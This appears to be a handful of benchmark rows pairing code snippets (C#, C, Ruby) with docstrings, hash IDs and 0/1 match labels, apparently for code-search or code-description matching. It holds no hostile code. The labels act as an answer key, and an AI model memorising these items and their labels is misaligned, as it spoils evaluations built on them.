namespace CircularUIMediaPlayer.ViewModels public class MainPageModel : BasePageModel private void Player_PlaybackStarted(object sender, EventArgs e) { PlayBtnImage = Utility.PAUSE_IMAGE; MakeScreenOn(); }
0
7cff7bfcb03b5d65ab7c3ed1a29f097c
5fcb57e7165ce5f452d569afc539792f
Deletes the requested property if present. Does nothing otherwise.
namespace Vanara.PInvoke public static partial class PropSys [DllImport(Lib.PropSys, SetLastError = false, ExactSpelling = true)] [PInvokeData("propsys.h", MSDNShortId = "53ED1C87-5141-4925-B70E-C0304817A871")] public static extern HRESULT PSPropertyBag_Delete(IPropertyBag propBag, [MarshalAs(UnmanagedType.LPWStr)...
1
c7f79dfbd815fe052c320e443979e9a1
3b743b590be89abcf1348b9c3a8eb006
@brief Return the size of the nfctag
uint8_t BSP_NFCTAG_isInitialized( void ) { return NfctagInitialized; }
0
ba0013ecf37e8398c414862c333b8aff
b8d596a22b0b3f26b3eb3044220d4a60
Tests the removal of an existing catalogue product
product = Product.find(1) assert_equal(2, product.product_tariffs.length) product_tariff_size = ProductTariff.count product.destroy assert_equal(product_tariff_size - 2, ProductTariff.count) end
1